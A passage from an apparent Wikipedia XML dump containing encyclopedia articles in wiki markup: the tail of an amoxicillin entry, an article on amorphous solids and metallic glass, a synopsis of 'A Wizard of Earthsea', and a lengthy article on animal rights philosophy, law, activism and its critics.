The patent for amoxicillin has expired. Thus amoxicillin is marketed under many trade names including: Actimoxi®, Amoxibiotic®, Amoxicilina®, Dispermox&amp;reg;,Pamoxicillin®, Lamoxy®, Ospamox®, Polymox®, Trimox®, Tolodina®, Wymox® and Zimox®.

== References ==
* GlaxoSmithKline Australia Pty Ltd (2003). ''Amoxil® Approved Product Information.'' Boronia: GlaxoSmithKline.
* Neal, MJ (2002). ''Medical Pharmacology at a Glance'' (4 ed.). Oxford: Blackwell Science. ISBN 0-632-05244-9
* [[British National Formulary]] ''45'' March 2003

[[Category:Beta-lactam antibiotics]]

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  <page>
    <title>Amorphous</title>
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      <text xml:space="preserve">#REDIRECT [[Amorphous solid]]
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  <page>
    <title>Amorphous solid</title>
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      <text xml:space="preserve">An '''amorphous solid''' is a [[solid]] in which there is no [[long-range order]] of the positions of the [[atom]]s.  (Solids in which there is long-range atomic order are called [[crystal|crystalline solids]].) Most classes of solid materials can be found or prepared in an amorphous form. For instance, common window glass is an amorphous [[ceramic]], many [[polymer]]s (such as [[polystyrene]]) are amorphous, and even foods such as [[cotton candy]] are amorphous solids.

Amorphous materials are often prepared by rapidly cooling molten material.  The cooling reduces the mobility of the material's molecules before they can pack into a more thermodynamically favorable crystaline state.  Some materials, such as metals, are difficult to prepare in an amorphous state.  Unless a material has a high melting temperature (as ceramics do) or a low crystallization energy (as polymers tend to), solidification must be done extremely rapidly.

Amorphous solids can exist in two distinct states, the 'rubbery' state and the 'glassy' state.  The temperature at which the transition between the glassy and rubbery states is called their [[glass transition temperature]] or ''T''&lt;sub&gt;g&lt;/sub&gt;.  

==Glasses==
In common parlance, the term [[glass]] refers to amorphous oxides, and especially silicates (compounds based on silicon and oxygen). Ordinary soda-lime [[glass]], used in windows and drinking containers, is created by the addition of [[soda]] and lime ([[calcium oxide]]) to [[silicon dioxide]]. Without these additives silicon dioxide will (with slow cooling) form [[sand]] or [[quartz]] crystal, not [[glass]]. 

To avoid confusion, other types of glass often are referred to with a modifier, such as the term ''metallic glass'' to refer to [[amorphous metal]]lic alloys.  
{{unsolved|physics|What is the nature of the [[phase transition|transition]] between a fluid or regular solid and a glassy [[phase (matter)|phase]]? What are the physical processes giving rise to the general properties of glasses?}}

===Metallic glass===
Some amorphous metallic alloys can be prepared under special processing conditions (such as [[rapid solidification]], [[thin-film deposition]], or [[ion implantation]]), but the term &quot;metallic glass&quot; refers only to rapidly solidified materials. 

Even with special equipment, such rapid cooling is required that, for most metals, only a thin wire or ribbon can be made amorphous. This is enough for many [[magnetic]] applications, but thicker sections are required for most structural applications such as [[scalpel]] blades, [[golf club]]s, and cases for [[consumer electronics]].  Recent efforts have made it possible to increase the  maximum thickness of glassy [[casting]]s, by finding alloys where [[kinetic]] barriers to crystallization are greater.  Such alloy systems tend to have the following inter-related properties:
*Many different solid [[phase (matter)|phase]]s are present in the equilibrium solid, so that any potential crystal will find that most of the nearby atoms are of the wrong type to join in crystallization
*The composition is near a deep [[eutectic]], so that low melting temperatures can be achieved without sacrificing the slow diffusion and high liquid viscosity seen in alloys with high-melting pure components
*Atoms with a wide variety of sizes are present, so that &quot;wrong-sized&quot; atoms interfere with the crystallization process by binding to atom clusters as they form.
One such alloy is the commercial &quot;[[Liquidmetal]]&quot;, which can be cast in amorphous sections up to an inch thick.

==Other synthesis routes==

Amorphous solids produced by other routes, such as [[ion implantation]] and [[thin-film deposition]] are, technically speaking, not glasses.

===Damage===
One way to produce a material without an ordered structure is to take a crystalline material and remove the order by damaging it.  A practical, controllable way to do this is by firing [[ions]] into the material at high speed, so that collisions inside the material knock all atoms from their original positions.  This technique is known as [[ion implantation]], and only forms amorphous solids if the material is too cold for atoms to diffuse back to their original positions as the process continues.

===Cold Deposition===
Techniques such as [[sputtering]] and [[CVD]] can be used to deposit a thin film of material onto a surface.  If the surface is kept cold, the atoms being deposited will not, on average, gain enough energy to diffuse along the surface until they find a place in an ordered crystal.  For every deposition technique, there is a substrate temperature below which the deposited film will be amorphous.  However, surface [[diffusion]] requires much less energy than diffusion through the bulk, so that these temperatures are often lower than those required to make amorphous films by ion implantation.

==Toward a strict definition==

It is difficult to make a distinction between truly amorphous solids and crystalline solids in which the size of the crystals is very small (less than two [[nanometre]]s). Even amorphous materials have some short-range order among the atomic positions (over length scales of about one [[nanometre]]). Furthermore, in very small [[crystal]]s a large fraction of the [[atom]]s are located at or near the surface of the crystal; relaxation of the surface and interfacial effects distort the atomic positions, decreasing the structural order. Even the most advanced structural characterization techniques, such as x-ray diffraction and transmission electron microscopy, have difficulty in distinguishing between amorphous and crystalline structures on these length scales.

The transition from the liquid state to the glass, at a temperature below the equilibrium melting point of the material, is called the [[glass transition]]. From a practical point of view, the glass transition temperature is defined empirically as the temperature at which the [[viscosity]] of the liquid exceeds a certain value (commonly 10&lt;sup&gt;13&lt;/sup&gt; [[pascal second|pascal-seconds]]). The transition temperature depends on cooling rate, with the glass transition occurring at higher temperatures for faster cooling rates. The precise nature of the glass transition is the subject of ongoing research. While it is clear that the glass transition is not a first-order thermodynamic transition (such as melting), there is debate as to whether it is a higher-order transition, or merely a kinetic effect.

Glass is often referred to as a 'super-cooled' liquid: this amounts to an assertion that the glass transition is purely a kinetic, rather than a thermodynamic effect.  One argument against speaking this way is the fact that many supercooled liquids flow (see [[pitch drop experiment]]) whereas glass does not (see special section in [[glass]]).

Some examples of amorphous solids are [[glass]], [[polystyrene]], and the [[silicon]] in many [[Thin-film deposition|thin film]] [[solar cell]]s.

== See also ==
* [[Cryopreservation]]
* [[Supercooling]]
* [[Vitrification]]

== External links ==
*[http://www.ptbf.am.wroc.pl/v271/v271_17.pdf Vogel-Tammann-Fulcher Equation Parameters]
*[http://eprints.iisc.ernet.in/archive/00000257/01/kjrao.pdf Fragility thy name is glass]

{{Template:Phase_of_matter}}

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  <page>
    <title>A Wizard of Earthsea</title>
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      <comment>reverted edits by [[Sesshomaru38]] to last version by 194.80.32.8</comment>
      <text xml:space="preserve">'''''A Wizard of Earthsea''''', first published in [[1968]], is the first of a series of books written by [[Ursula K. Le Guin]] and set in her [[fantasy]] [[archipelago]] of [[Earthsea]].  The tale of the eponymous wizard &amp;ndash; after this, his first great adventure &amp;ndash; continues in ''[[The Tombs of Atuan]]'', and ''[[The Farthest Shore]]'', but Le Guin has written a number of other novels and short stories set in the world of Earthsea.

== Synopsis ==
{{spoiler}}

In the novel, a young man, Sparrowhawk, comes of age on his home island of Gont. While still a boy, he discovers that he has the inborn aptitude to practice [[magic (paranormal)|magic]]. Some years later, he uses this ability to save his village from a raiding party of barbarians. In the aftermath of the battle, in a rite of passage that leads him into adulthood, he is given his true, secret name (&quot;[[Ged (fictional character)|Ged]]&quot;) and is apprenticed to the wizard [[Ogion]] the Silent.

Sparrowhawk then travels to the school of wizardry on [[Roke]] Island, masters his craft easily, and, in his [[hubris]], summons a spirit of darkness that scars him and leaves him for dead.

After a painful and slow recovery, Sparrowhawk is sent out into the world as a wizard. He has a series of adventures, including surviving a confrontation with a [[western dragon|dragon]]. At last he resolves to track down the foe he has released and destroy or banish it.

Ultimately Sparrowhawk confronts the [[Shadow (psychology)|shadow]] that hunts him, and defeats it by realizing that it is his own shadow. He calls the shadow, which was thought to be nameless, by name &amp;ndash; &quot;Ged&quot;. In doing so, he reconciles both sides of himself and takes responsibility for his past mistakes which, until then, he had run from.

== About the book and its author ==
''A Wizard of Earthsea'' is a coming-of-age story, written with an eye for a young adult audience. It won the [[Boston Globe-Hornbook Award]] for juvenile fiction in [[1968]]. It is, in effect, a fantasy [[Bildungsroman]] &amp;ndash; the story of a young man's quest for wisdom and spiritual wholeness, written in a sparse prose style.

Le Guin has said that the book was in part a response to the image of wizards as ancient and wise, and to her wondering where they come from. The author is famous for her [[science fiction]] and fantasy works; over her career she has received about an award a year,[http://www.ursulakleguin.com/Bio2001.html] among them a total of ten of the most prestigious of them all, the [[Hugo award|Hugo]] and [[Nebula award|Nebula]] awards.

== External links ==
* [http://www.ursulakleguin.com/ Ursula K. Le Guin's official website]
* [http://www.ursulakleguin.com/TalesEarthsea_Excerpt.html An excerpt of ''Tales from Earthsea'']
* {{isfdb series | id=Earthsea_Cycle | title=Earthsea}} 
 
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  <page>
    <title>Animal rights</title>
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      <text xml:space="preserve">[[Image:Great Ape Project logo.jpg|right|thumb|320px|The logo of the [[Great Ape Project]], which is campaigning for a [[Declaration on Great Apes]]. [http://www.greatapeproject.org/declaration.html] ]]

'''Animal rights''', or '''animal liberation''', is the movement to protect animals from being used or regarded as property by human beings. It is a [[radicalism|radical]] [[social movement]], insofar as it aims not merely to attain more [[humane]] treatment for animals, but also to include species other than [[Human|human beings]] within the moral community by giving their basic interests &amp;mdash; for example, the interest in avoiding suffering &amp;mdash; the same consideration as our own. The claim, in other words, is that animals should no longer be regarded [[Law|legally]] or [[Moral philosophy|morally]] as property, or treated merely as resources for human purposes, but should instead be regarded as [[persons]].

Some countries have passed legislation awarding recognition to the interests of animals. [[Switzerland]] recognized animals as beings, not things, in 1992, and in 2002, the protection of animals was added to the [[Germany|German]] constitution. The [[Seattle]]-based [[Great Ape Project]], founded by [[Australia]]n philosopher [[Peter Singer]], is campaigning for the [[United Nations]] to adopt its [[Declaration on Great Apes]], which would see [[gorilla]]s, [[orangutan]]s, and both species of [[chimpanzee]] included in a &quot;community of equals&quot; with human beings, and which would extend to them the protection of three basic interests: the [[right to life]], the protection of individual [[liberty]], and the prohibition of [[torture]]. [http://www.greatapeproject.org/declaration.html] 

Critics of the concept of animal [[right]]s argue that, because animals do not have the capacity to enter into a [[social contract]] [http://articles.animalconcerns.org/ar-voices/archive/case_for_ar.html] or make [[Morality|moral]] choices, cannot respect the rights of others, and do not even understand the idea of rights, they cannot be regarded as possessors of moral rights. The [[Philosophy|philosopher]] [[Roger Scruton]] argues that only human beings have [[Duty|duties]] and that &quot;[t]he corollary is inescapable: we alone have rights.&quot; [http://www.city-journal.org/html/10_3_urbanities-animal.html] Critics holding this position argue that there is nothing inherently wrong with using animals for [[Meat|food]], as entertainment, and in [[Animal testing|research]], though human beings may nevertheless have an obligation to ensure they do not suffer unnecessarily (Frey 1980 and Scruton 1997). This position is generally called the [[animal welfare]] position, and it is held by some of the oldest of the animal-protection agencies: for example, by the [[Royal Society for the Prevention of Cruelty to Animals]] in the UK.

==Overview==
{{Template:Animal liberation movement}}
Animal rights is the concept that all or some animals are entitled to possess their own lives; that animals are deserving of, or already possess, certain [[moral]] rights; and that some basic rights for animals ought to be enshrined in law. The animal-rights view rejects the concept that animals are merely [[capital goods]] or [[property]] intended for the benefit of humans. The concept is often confused with [[animal welfare]], which is the philosophy that takes cruelty towards animals and animal suffering into account, but that does not necessarily assign specific moral rights to them.

The animal-rights [[philosophy]] does not necessarily maintain that human and non-human animals are equal. For example, animal rights advocates do not call for [[voting rights]] for chickens. Some also would make a distinction between [[sentient]] or self-aware animals and other life forms, with the belief that only sentient animals, or perhaps only animals who have a significant degree of self-awareness, should be afforded the right to possess their own lives and bodies, without regard to how they are valued by humans. Others would extend this right to all animals, even those without developed [[nervous system]]s or self-[[consciousness]]. They maintain that any [[human]] or human institution that commodifies animals for the purposes of [[food]], [[entertainment]], [[cosmetics]], [[clothing]], [[Animal testing|scientific testing]], or for any other reason, infringes upon their fundamental rights to possess themselves and to pursue their own ends. 

Few people would deny that other [[great apes]] are highly intelligent animals who are aware of their own condition and goals, and can become frustrated when their freedoms are curtailed. In contrast, many other animals, like [[jellyfish]], have only extremely simple nervous systems, and are little more than simple automata, capable only of simple reflexes but incapable of formulating any &quot;ends to their actions&quot; or &quot;plans to pursue&quot; them, and equally unable to notice whether they are in captivity or free. By the criteria that [[biologists]] use, jelly fish are undeniably animals, while from an animal-rights perspective, it is questionable whether they should not rather be considered &quot;vegetables&quot;. There is as yet no consensus with regard to which qualities make a living organism an animal in need of rights. The animal-rights debate (much like the [[abortion]] debate) is therefore marred by the difficulty that its proponents search for simple, clear-cut distinctions on which to base moral and political judgements, even though the biological realities of the problem present no hard and fast boundaries on which such distinctions could be based. Rather, the biological realities are full of complex and diverse gradients. From a [[neurobiology|neurobiological]] perspective, jellyfish, farmed chicken, laboratory mice, or pet cats would fall along different points on a (complex and high-dimensional) spectrum from the &quot;nearly vegetable&quot; to the &quot;highly sentient&quot;.

== Animal rights in philosophy ==

[[Jean-Jacques Rousseau]] briefly alludes to the concept of animal rights in the preface of his [[Discourse on Inequality]]. He argues that man starts as an animal, though not one &quot;devoid of intellect and freedom&quot; like others; however, as animals are sensitive beings, &quot;they too ought to participate in natural right, and that man is subject to some sort of duties toward them,&quot; specifically &quot;one [has] the right not to be uselessly mistreated by the other.&quot;

Contemporaneous with Rousseau was the Scottish writer [[John Oswald (d. 1793)]].  Oswald argued in &quot;The Cry of Nature or an Appeal to Mercy and Justice on Behalf of the Persecuted Animals&quot;, that man is naturally equipped with feelings of mercy and compassion.  If each man had to personally experience the death of the animals he ate, so argued Oswald, a vegetarian diet would be far more common.  The division of labor, however, allows modern man to eat flesh without experiencing the prompting of man's natural sensitivities, while the brutalization of modern man made him inured to these sensitivities.  Although Oswald gave compassion a central place in his philosophy, he was not a pacifist.  Oswald was a radical republican and died in battle fighting in defence of the [[French Revolution]].

One of the first philosophers to take animal liberation seriously was one of the founders of modern [[utilitarianism]], [[Jeremy Bentham]], who wrote, speaking of the need to extend legal rights to animals: &quot;The day may come when the rest of the animal creation may acquire those rights which never could have been witholden from them but by the hand of tyranny.&quot; Bentham also argued that an animal's apparent lack of rationality ought not to be held against it insofar as morality is concerned:

&lt;blockquote&gt;It may one day come to be recognized that the number of the legs, the villosity of the skin, or the termination of the ''os sacrum'' are reasons equally insufficient for abandoning a sensitive being to the same fate.&lt;/blockquote&gt;

&lt;blockquote&gt;What else is it that should trace the insuperable line? Is it the faculty of reason or perhaps the faculty of discourse?  But a full-grown horse or dog is beyond comparison a more rational, as well as more conversable  animal, than an infant of a day or a week or even a month old. But suppose they were otherwise, what would it avail?  The question is not, Can they reason?, nor Can they talk?  but, Can they suffer? Why should the law refuse its protection to any sensitive being? The time will come when humanity will extend its mantle over everything which breathes ... (Bentham, 1781)&lt;/blockquote&gt;

[[Arthur Schopenhauer]] argued that animals have the same essence as humans, despite lacking the faculty of reason. Although he produced a utilitarian justification for eating animals, he argued for consideration to be given to animals in morality, and he opposed [[vivisection]]. His critique of [[Kant]]ian ethics contained a lengthy and often furious polemic against the exclusion of animals in his moral system, which contained the famous line: &quot;Cursed be any morality that does not see the essential unity in all eyes that see the sun.&quot;

The concept of animal rights was the subject of an influential book &amp;mdash; ''Animals' Rights: Considered in Relation to Social Progress'' &amp;mdash; by [[England|English]] social reformer [[Henry Salt]] in 1892. A year earlier, Salt had formed the Humanitarian League; its objectives included the banning of hunting as a sport. 

In modern times, the idea of animal rights was re-introduced by S. and R. Godlovitch, and J. Harris, with their 1971 book ''Animals, Men and Morals''. This was a collection of articles which restated the case for animal rights in a powerful and philosophically sophisticated way. It could justly be said that it was this work that reinvigorated the animal rights movement, and it inspired later philosophers to develop their ideas. It was, for example, in a review of this book, that the Australian philosopher [[Peter Singer]], now Ira W. DeCamp Professor of [[Bioethics]] in the University Center for Human Values at [[Princeton University]], first coined the term 'animal liberation.'

Peter Singer and [[Tom Regan]] are the best-known proponents of animal liberation, though they differ in their philosophical approaches to the issue. Another influential thinker is [[Gary L. Francione]], who presents an [[abolitionist]] view that non-human animals should have the basic right not to be treated as the property of humans. Activists [[Karen Davis]] of [[United Poultry Concerns]], and [[Ingrid Newkirk]] of [[People for the Ethical Treatment of Animals|PETA]] have also presented philosophies of animal rights. 

Although Singer is the ideological founder of today's animal-rights movement, his approach to an animal's moral status is not based on the concept of rights, but on the [[utilitarianism|utilitarian]] principle of [[equal consideration of interests]]. His 1975 book ''[[Animal Liberation]]'' argues that humans grant moral consideration to other humans not on the basis of intelligence (in the instance of children, or the mentally disabled), on the ability to moralize (criminals and the insane), or on any other attribute that is inherently human, but rather on their ability to experience ''suffering''. As animals also experience suffering, he argues, excluding animals from such consideration is a form of discrimination known as '[[speciesism]]' &amp;mdash; a term first coined by the British psychologist [[Richard D. Ryder]].

Tom Regan (''The Case for Animal Rights'' and ''[[Empty Cages]]''), on the other side, claims that non-human animals as &quot;subjects-of-a-life&quot; are bearers of rights like humans, although not necessarily of the same degree. This means that animals in this class have &quot;inherent value&quot; as individuals, and cannot merely be considered as the means to an end. This is also called the &quot;direct duty&quot; view. According to Regan, we should abolish the breeding of animals for food, animal experimentation, and commercial hunting. Regan's theory does not extend to all sentient animals but only to those that can be regarded as &quot;subjects-of-a-life.&quot; Regan argues that all normal mammals of at least one year of age would qualify in this regard.  

While Singer is primarily concerned with improving the treatment of animals and accepts that, at least in some hypothetical scenarios, animals could be legitimately used for further (human or non-human) ends, Regan believes we ought to treat animals as we would persons, and he applies the strict [[Immanuel Kant|Kantian]] idea that they ought never to be sacrificed as mere means to ends, and must be treated as ends unto themselves. Notably, Kant himself did not believe animals were subject to what he called the moral law; he believed we ought to show compassion, but primarily because not to do so brutalizes human beings, and not for the sake of animals themselves. 

Despite these theoretical differences, both Singer and Regan agree about what to do in practice: for instance, they both agree that the adoption of a [[veganism|vegan]] diet and the abolition of nearly all forms of [[animal experimentation]] are ethically mandatory. 

[[Gary Francione]]'s work (''Introduction to Animal Rights'', et.al.) is based on the premise that if non-human animals are considered to be property then any rights that they may be granted would be directly undermined by that property status. He points out that a call to equally consider the 'interests' of your property against your own interests is absurd. Without the basic right not to be treated as the property of humans, non-human animals have no rights whatsoever, he says. Francione posits that sentience is the only valid determinant for moral standing, unlike Regan who sees qualitative degrees in the subjective experiences of his &quot;subjects-of-a-life&quot; based upon a loose determination of who falls within that category. Francione claims that there is no actual animal-rights movement in the United States, but only an [[animal welfare|animal-welfarist]] movement. In line with his philosophical position and his work in animal-rights law for the Animal Rights Law Project [http://animal-law.org] at [[Rutgers University]], he points out that any effort that does not advocate the abolition of the property status of animals is misguided, in that it inevitably results in the institutionalization of animal exploitation. It is logically inconsistent and doomed never to achieve its stated goal of improving the condition of animals, he argues. Francione holds that a society which regards dogs and cats as family members yet kills cows, chickens, and pigs for food exhibits what he calls &quot;moral schizophrenia&quot;.

== Animal rights in [[law]] ==
[[Image:600-restraint-tube4.jpg|left|thumb|350px|A monkey in a restraint tube filmed by [[PETA]] in a [[Covance]] branch, [[Vienna, Virginia]], 2004-5 [http://www.covancecruelty.com/photos.asp] ]]

Animals are protected under the [[law]], though without having rights assigned to them. There are [[criminal law]]s against cruelty to animals, laws that regulate the keeping of animals in cities and on farms, the transit of animals internationally, as well as quarantine and inspection provisions. These laws are designed to protect animals from unnecessary physical harm and to regulate the use of animals as food. In the [[common law]], it is possible to create a [[charitable trust]] and have the trust empowered to see to the care of a particular animal after the death of the benefactor of the trust. Some individuals create such trusts in their [[will (law)|will]]. Trusts of this kind can be upheld by the [[court]]s if properly drafted and if the [[testator]] is of sound mind. There are several movements in the UK campaigning to require the [[British parliament]] to award greater protection to animals. The legislation, if passed, will introduce a [[duty]] of care, whereby a keeper of an animal would commit an offence if he or she fails to take reasonable steps to ensure an animal’s welfare. This concept of giving the animal keeper a duty towards the animal is equivalent to granting the animal a right to proper welfare. The draft bill is supported by an [[RSPCA]] campaign.

[[Switzerland]] passed legislation in 1992 to recognize animals as beings, not things; and in 2002, the protection of animals was enshrined in the [[Germany|German]] constitution when its upper house of parliament voted to add the words &quot;and animals&quot; to the clause in the constitution obliging the state to protect the &quot;natural foundations of life ... in the interests of future generations.&quot; [http://archives.cnn.com/2002/WORLD/europe/06/21/germany.animals/index.html] [http://www.ebra.org/bulletin/win05_02.html] 

The State of [[Israel]], meanwhile, has banned dissections of animals in elementary and secondary schools; performances by trained animals in circuses; and [[foie gras]]. &lt;!--banned the production, sale, or both, do we know?--&gt;

== Animal rights in practice ==
[[Image:ALFbeagles.jpg|right|thumb|300px|The [[Animal Liberation Front]] (ALF)]]
In practice, those who advocate animal rights usually boycott a number of industries that use animals.  Foremost among these is [[factory farming]], [http://www.meetyourmeat.com/wycd.html]
which produces the majority of [[meat]], [[dairy product]]s, and [[egg (food)|eggs]] in Western industrialized nations. The transportation of farm animals for slaughter, which often involves their [[live export]], has in recent years been a major issue of campaigning for animal-rights groups, particularly in the [[United Kingdom|UK]].

The vast majority of animal-rights advocates adopt [[vegetarian]] or [[vegan]] diets; they may also avoid clothes made of animal skins, such as [[leather]] shoes, and will not use products such as [[cosmetics]], [[pharmaceutical]] products, or certain [[ink]]s or [[dye]]s known to contain so-called animal [[byproduct]]s. Goods containing ingredients that have been tested on animals are also avoided where possible. Company-wide [[boycott]]s are common. The [[Procter &amp; Gamble]] corporation, for example, [[Animal testing|tests]] many of its products on animals, leading many animal-rights supporters to boycott all of their products, including food like peanut butter.

The vast majority of animal-rights advocates dedicate themselves to educating the public.  Some organizations, like ''[[People for the Ethical Treatment of Animals]]'', strive to do this by garnering media attention for animal-rights issues, often using outrageous stunts or advertisements to obtain media coverage for a more serious message.

There is a growing trend in the American animal-rights movement towards devoting all resources to vegetarian outreach. The 9.8 billion animals killed there for food use every year far exceeds the number of animals being exploited in other ways. Groups such as ''Vegan Outreach'' and ''Compassion Over Killing'' devote their time to exposing factory-farming practices by publishing information for consumers and by organizing undercover investigations.

A growing number of animal-rights activists engage in [[direct action]]. This typically involves the removal of animals from facilities that use them or the damage of property at such facilities in order to cause financial loss.  A few incidents have involved [[violence]] or the threat of violence toward animal [[Vivisection|experimenters]] or others involved in the use of animals.
&lt;!--I'm making this paragraph invisible as it's problematic, as follows: The first sentence needs a reference for the FBI claim, and for the denouncing of direct action by many animal-rights groups: &quot;As a result of &quot;direct action&quot; tactics, the following needs a reference: (the [[FBI]] has announced that it considers the [[Animal Liberation Front]] and [[Earth Liberation Front]] the number one [[terrorism|terrorist]] groups native to the [[United States]]) many animal-rights organizations denounce its use in advancing the animal rights cause.&quot; This sentence is okay: &quot;Most animal-rights groups, including activists who work under the banner of the [[Animal Liberation Front]], reject the use of violence by people acting in their name.&quot; This sentence needs references: &quot;However, some radical animal-right activists in Canada, the UK and the US actively engage in harassment of family homes of individual workers of research facilities, related businesses and individual shareholders.&quot; It also needs clarification. Is harassment of individuals being counted as violence? Is SHAC, which does this, being counted as more radical than the ALF, which the previous sentence seems to suggest doesn't? --&gt;
There are also a growing number of &quot;open rescues,&quot; in which animal-rights advocates enter businesses to steal animals without trying to hide their identities. Open rescues tend to be carried out by committed individuals who are willing to go to jail if prosecuted, but so far no factory-farm owner has been willing to press charges, perhaps because of the negative publicity that would ensue. However some countries like Britain have proposed stricter laws to curb animal extremists. [http://www.telegraph.co.uk/news/main.jhtml?xml=/news/2005/10/25/nterr25.xml&amp;sSheet=/news/2005/10/25/ixhome.html]

''See also: [[Animal rights activism]]''

== Criticism of animal rights ==
Criticism against the concept of animal rights include philosophical arguments that to have rights requires moral judgements, that animal rights actually turns humans into second-class citizens under animals, and that humans have a responsibility to promote [[Animal welfare]] instead of animal rights. Criticism against the animal right movement include statements that the animal rights movement is actually anti-human. Each crticism is detailed below.

===Rights requires moral judgements===
Critics such as Carl Cohen, professor of philosophy at the University of Michigan and the University of Michigan Medical School, oppose the granting of &quot;personhood&quot; to animals. Cohen wrote in the New England Journal of Medicine in October, 1986: [http://www.animaluse.org/html/why_we_oppose.html]
&lt;blockquote&gt;The holders of rights must have the capacity to comprehend rules of duty governing all, including themselves. In applying such rules, the holders of rights must recognize possible conflicts between what is in their own interest and what is just. Only in a community of beings capable of self-restricting moral judgments can the concept of a right be correctly invoked.&quot; &lt;/blockquote&gt;

Cohen rejects Peter Singer's argument that since a brain-damaged human could not exhibit the ability to make moral judgements, that moral judgements cannot be used as the distinguishing characteristic for determining who is awarded rights. Cohen states that the test for moral judgement &quot;is not a test to be administered to humans one by one.&quot; [http://www.animaluse.org/html/why_we_oppose.html]

The Foundation for Animal Use and Education states: [http://www.animaluse.org/html/why_we_oppose.html]
&lt;blockquote&gt;Our recognition of the rights of others stems from our unique human character as moral agents--that is, beings capable of making moral judgments and comprehending moral duty. Only human beings are capable of exercising moral judgment and recognizing the rights of one another. &lt;/blockquote&gt;

&lt;blockquote&gt;Animals do not exercise responsibility as moral agents. They do not recognize the rights of other animals. They kill and eat one another instinctively, as a matter of survival. They act from a combination of conditioning, fear, instinct and intelligence, but they do not exercise moral judgment in the process.&lt;/blockquote&gt;

===Animal rights can be anti-human===
Some critics of &quot;animal rights&quot; say that it may turn humans into &quot;second-class citizens&quot;. [http://www.animaluse.org/html/why_we_oppose.html] Robert Bidinotto, nationally recognized writer on environmental issues, said in a 1992 speech to the Northeastern Association of Fish and Wildlife Agencies: [http://www.animaluse.org/html/why_we_oppose.html]
&lt;blockquote&gt;Strict observance of animal rights forbids even direct protection of people and their values against nature's many predators. Losses to people are acceptable...losses to animals are not. Logically then, beavers may change the flow of streams, but Man must not. Locusts may denude hundreds of miles of plant life...but Man must not. Cougars may eat sheep and chickens, but Man must not.&lt;/blockquote&gt;
Chris DeRose, Director of Last Chance for Animals, stated &quot;If the death of one rat cured all disease, it wouldn't make any difference to me.&quot; [http://www.animaluse.org/html/why_we_oppose.html] When given the choice between rescuing a human baby or a dog after a lifeboat capsized, Susan Rich, PeTA Outreach Coordinator, answered, &quot;I wouldn't know for sure... I might choose the human baby or I might choose the dog.&quot; [http://www.animaluse.org/html/why_we_oppose.html] Tom Regan, animal rights philosopher, answered &quot;If it were a retarded baby and a bright dog, I'd save the dog.&quot; [http://www.animaluse.org/html/why_we_oppose.html] Critics opposed to animal rights generally support [[animal welfare]]. [http://www.animaluse.org/html/animal_welfare.html] 

===Animal welfare as a responsiblity===
The American Veterinary Medical Association (AVMA) has defined animal welfare as human responsibility that encompasses all aspects of animal well-being, including proper housing, management, nutrition, disease prevention and treatment, responsible care, human handling, and, when necessary, humane euthanasia. [http://www.animaluse.org/html/animal_welfare.html] 

The ''Foundation for Animal Use Education'' supports [[animal welfare]] as opposed to animal rights, arguing that: &quot;Even if we believe that animals cannot have rights, it does not mean we can treat animals any way we please. As moral agents, we recognize our own obligation to treat animals humanely &amp;mdash; not because it is their right, but because it is our responsibility.&quot; [http://www.animaluse.org/html/animal_welfare.html]

===Analogies to the Nazis===
Critics of animal rights have pointed to the support for animal rights by the [[Nazi]] regime in [[Germany]], and its anti-vivisection legislation. 

In [[1933]], a proclamation was issued by the [[NSDAP]] in Germany:

&lt;blockquote&gt;The Prussian minister-president Goering has released a statement stating that starting [[16 August]] [[1933]] vivisection of animals of all kinds is forbidden in Prussia. He has requested that the concerned ministries draft a law after which vivisection will be punished with a high penalty. Until the law goes into effect, persons who, despite this prohibition, order, participate or perform vivisections on animals of any kind will be deported to concentration camps.&lt;/blockquote&gt; 

&lt;blockquote&gt;Among all civilized nations, Germany is thus the first to put an end to the cultural shame of vivisection! The New Germany not only frees man from the curse of materialism, sadism, and cultural Bolshevism, but gives the cruelly persecuted, tortured, and until now, wholly defenseless animals their rights. Animal friends and anti-vivisectionists of all states will joyfully welcome this action of the National Socialist government of the New Germany![http://www.hitler.org/links/NAP_5.html]&lt;/blockquote&gt; 

An article in that same year appeared in the government-controlled publication, ''Die Weiße Fahne'', alleging that &quot;...most Germans have been raised with the attitude that animals are created by God for the use and benefit of man. The church gets this idea from the Jewish tradition.&quot;[http://www.hitler.org/links/NAP_5.html]

The argument made by critics of animal rights is that a focus on the rights of animals is consistent with a disregard for the rights of humans, because the idea of [[human rights]] is premised to a certain extent on the concept of the uniqueness of human beings. [[Gary Francione]] has produced a response to one such argument:

&lt;blockquote&gt;During the 1930s, the Nazis certainly did show some interest in protecting animals. It is, of course, rather difficult to argue that a military force that was destroying half of Europe, including its animal population, really cared about animals, but I do not dispute that Nazis did pass fairly progressive measures against vivisection. At the same time that they were legislating to help animals, however, the Nazis were engineering the killing of millions of humans. The argument goes: there is something pathological about a society that cares about animals but not about humans, and even seeks to impose enormous suffering on at least some humans. Therefore, concern about animals must be judged against the prevailing treatment of humans, and if the latter is lesser by comparison, any concern for animal suffering is pathological.&lt;/blockquote&gt;

&lt;blockquote&gt;Again, this argument does not work. The fact that some people may favor nonhumans greater than they do some group of human beings is not peculiar to Nazi Germany. During the 18th century, many American states passed all sorts of anticruelty laws involving animals while at the same time human slavery was legal. It is simply too easy to regard the pathology of Nazi Germany as unique in this respect. Moreover, in 1996, some people think that even more tax breaks for the rich should get greater priority than providing the minimal requirements for a decent and dignified life to disempowered and dispossessed humans. The sad fact is that humans often favor some other group of humans or animals more than they do some other human beings. But that says absolutely nothing about whether animals should have rights; it does say a lot about some people, however. [http://www.animal-law.org/commentaries/fe29.htm]&lt;/blockquote&gt;

===Other criticisms===
British physicist [[Stephen Hawking]] has criticized activists for failing to concentrate on what he sees as more worthwhile causes: &quot;I suspect that extremists turn to animal rights from a lack of the more worthwhile causes of the past, like nuclear disarmament.” [http://www.simr.org.uk/pages/celebrity_support/professor_stephen_hawking.html]

Some critics, such as Alan Herscovici, of the Fur Council of Canada, claim that &quot;Virtually none of the money they collect is used to fund humane shelters, develop better animal husbandry methods, or find cures for diseases. Instead, donations pay the salaries of professional organizers, subsidize more fund-raising, and fuel sensationalist campaigns against animal-use industries.&quot; [http://www.maninnature.com/Management/ARights/Rights1a.html]

The animal-rights position is also criticized by some who favour animal liberation. Although he is often called the father of the modern animal-rights movement, Peter Singer actually rejects the notion of moral rights. As a utilitarian, he prefers to talk in terms of the equal consideration of interests. 
[http://www.webster.edu/~corbetre/philosophy/animals/singer-text.html]

Some criticisms of the animal rights movement take the form of [[parody]], positing a &quot;vegetable rights&quot; movement. [http://www.peva.org/] [[Fruitarianism]] has adopted part of this philosophy.

==Quotes==
